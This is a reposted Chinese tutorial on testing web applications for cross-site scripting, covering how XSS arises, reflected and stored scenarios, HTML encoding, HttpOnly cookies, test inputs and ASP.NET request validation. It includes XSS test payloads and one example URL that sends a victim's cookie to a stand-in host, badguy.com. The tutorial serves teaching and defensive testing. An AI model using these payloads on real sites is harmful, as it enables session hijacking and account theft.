安全黑客
当前位置:安全黑客文章资讯安全漏洞漏洞安全
日期:2012-09-25 11:20:00  来源:本站整理

Web安全性测试之XSS[漏洞安全]

赞助商链接



  本文“Web安全性测试之XSS[漏洞安全]”是由安全黑客为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞.指攻击者在网页中嵌入客户端脚本(比方JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上履行,从而到达攻击者的目的.  比方获得用户的Cookie,导航到恶意网站,携带木马等.
作为测试人员,需求理解XSS的原理,攻击场景,若何修复. 才能有效的避免XSS的发生.
 
阅读目录
XSS 是若何发生的
HTML Encode
XSS 攻击场景
XSS漏洞的修复
若何测试XSS漏洞
HTML Encode 和URL Encode的辨别
浏览器中的XSS过滤器
ASP.NET中的XSS安全机制
XSS 是若何发生的呢
 
假定有下面一个textbox
<input type="text" name="address1" value="value1from">
value1from是来自用户的输入,假如用户不是输入value1from,而是输入"/><script>alert(document.cookie)</script><!- 那么就会变成
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
嵌入的JavaScript代码将会被履行
 
大概用户输入的是  "onfocus="alert(document.cookie)      那么就会变成
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
 事件被触发的时刻嵌入的JavaScript代码将会被履行
 攻击的威力,取决于用户输入了什么样的脚本
 
当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 比方下图
 
 
HTML Encode
 
XSS之所以会发生, 是因为用户输入的数据变成了代码. 所以我们需求对用户输入的数据举行HTML Encode处理. 将此中的"中括号", “单引号”,“引号” 之类的特别字符举行编码.
 
在C#中已经供应了现成的办法,只要调用HttpUtility.HtmlEncode("string <scritp>") 便可以了.  (需求引用System.Web程序集)
Fiddler中也供应了很便利的工具, 点击Toolbar上的"TextWizard" 按钮
 
 
XSS攻击场景
 
1. Dom-Based XSS 漏洞 攻击历程以下
Tom 发现了Victim.com中的一个页面有XSS漏洞,
比方: http://victim.com/search.asp?term=apple
服务器中Search.asp 页面的代码大约以下
 
<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>
 
Tom 先成立一个网站http://badguy.com,  用来接纳“偷”来的信息.
然后Tom 构造一个恶意的url(以下), 通过某种方法(邮件,QQ)发给Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中履行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中.这样Monica在victim.com 的信息就被Tom盗了.
 
2. Stored XSS(存储式XSS漏洞), 该范例是利用遍及并且有大概影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得全部拜候该页面的用户都面对信息泄露的大概. 攻击历程以下
 
Alex发现了网站A上有一个XSS 漏洞,该漏洞答应将攻击代码保存在数据库中,
Alex公布了一篇文章,文章中嵌入了恶意JavaScript代码.
其他人如Monica拜候这片文章的时刻,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中履行,其会话cookie大概其他信息将被Alex盗走.
 
Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.
 
XSS漏洞修复
 
原则: 不相信客户输入的数据
注意:  攻击代码不一定在<script></script>中
将重要的cookie标志为http only,   这样的话Javascript 中的document.cookie语句就不能获得到cookie了.
只答应用户输入我们盼望的数据. 比方: 年纪的textbox中,只答应用户输入数字. 而数字之外的字符都过滤掉.
对数据举行Html Encode 处理
过滤或移除特别的Html标签, 比方: <script>, <iframe> ,  < for <, > for >, " for
过滤JavaScript 事件的标签.比方"onclick=", "onfocus" 等等.

若何测试XSS漏洞
 
办法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端普通通过三种方法Querystring, Form表单,以及cookie.  比方在ASP的程序中,通过Request对象获得客户端的变量
<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>
假定变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞
 
 办法二: 预备测试脚本, www.110hack.com
"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)
 在网页中的Textbox大概其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话阐明存在XSS漏洞
 在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本.  然后看我们的脚本能否能履行
 
办法三:  自动化测试XSS漏洞
目前已经有很多XSS扫描工具了. 实现XSS自动化测试非常简单,只需求用HttpWebRequest类. 把包含xss 测试脚本.发送给Web服务器. 然后查看HttpWebResponse中,我们的XSS测试脚本能否已经注入进去了.

HTML Encode 和URL Encode的辨别
 
刚开始我老是把这两个东西搞混合, 其实这是两个差别的东西.
HTML编码前面已经介绍过了,关于URL 编码是为了符合url的标准.因为在尺度的url标准中中文和很多的字符是不答应呈目前url中的.
比方在百度中搜索"测试汉字".URL会变成
http://www.百度.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477
 
所谓URL编码就是: 把全部非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)
 
在C#中已经供应了现成的办法,只要调用HttpUtility.UrlEncode("string <scritp>") 便可以了.  (需求引用System.Web程序集)
Fiddler中也供应了很便利的工具, 点击Toolbar上的"TextWizard" 按钮
浏览器中的XSS过滤器
 
为了避免发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS. 比方IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制. 浏览器会禁止XSS. 比方下图
 
 
 假如需求做测试, 最好利用IE7.
 ASP.NET中的XSS安全机制
 
 ASP.NET中有防备XSS的机制,对提交的表单会自动查抄能否存在XSS,当用户试图输入XSS代码的时刻,ASP.NET会抛出一个错误以下图
 
很多程序员对安全没有概念, 乃至不知道有XSS的存在.ASP.NET在这一点上做到默许安全. 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“.
假如想禁止这个安全特点, 可以通过<%@  Page  validateRequest=“false"  %>


  以上是“Web安全性测试之XSS[漏洞安全]”的内容,如果你对以上该文章内容感兴趣,你可以看看安全黑客为您推荐以下文章:
  • Web安全性测试之XSS
  • 没有绝对的安全Web安全需澄清的五个误区
  • <b>web安全设置(含IIS,php,ASP.NET)与目录权限设置</b>
  • <b>解读校园Web安全"新药方"</b>
  • <b>Web安全:如安在 Web 服务器上设置 SSL</b>
  • xss攻击 Web安全新挑衅
  • OWASP召开年度Web安全盛会 解读利用安全趋向发展
  • Web安全设备补偿UTM内容安全漏洞
  • Websense公布2010年威胁猜测 八项风行趋向预示Web安全新改变
  • <b>web安全漏洞(bug)的操纵</b>
  • Web安全专访之Websense中国区刘沛旻
  • 2007十大Web安全漏洞 跨站脚本攻击XSS居首
  • 本文地址: 与您的QQ/BBS好友分享!

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    免责条款 - 广告合作 - 下载声明 - 欢迎投稿 - 友情连接 - 网站地图 -
    Copyright © 2012-2013 www.110hack.com. All Rights Reserved .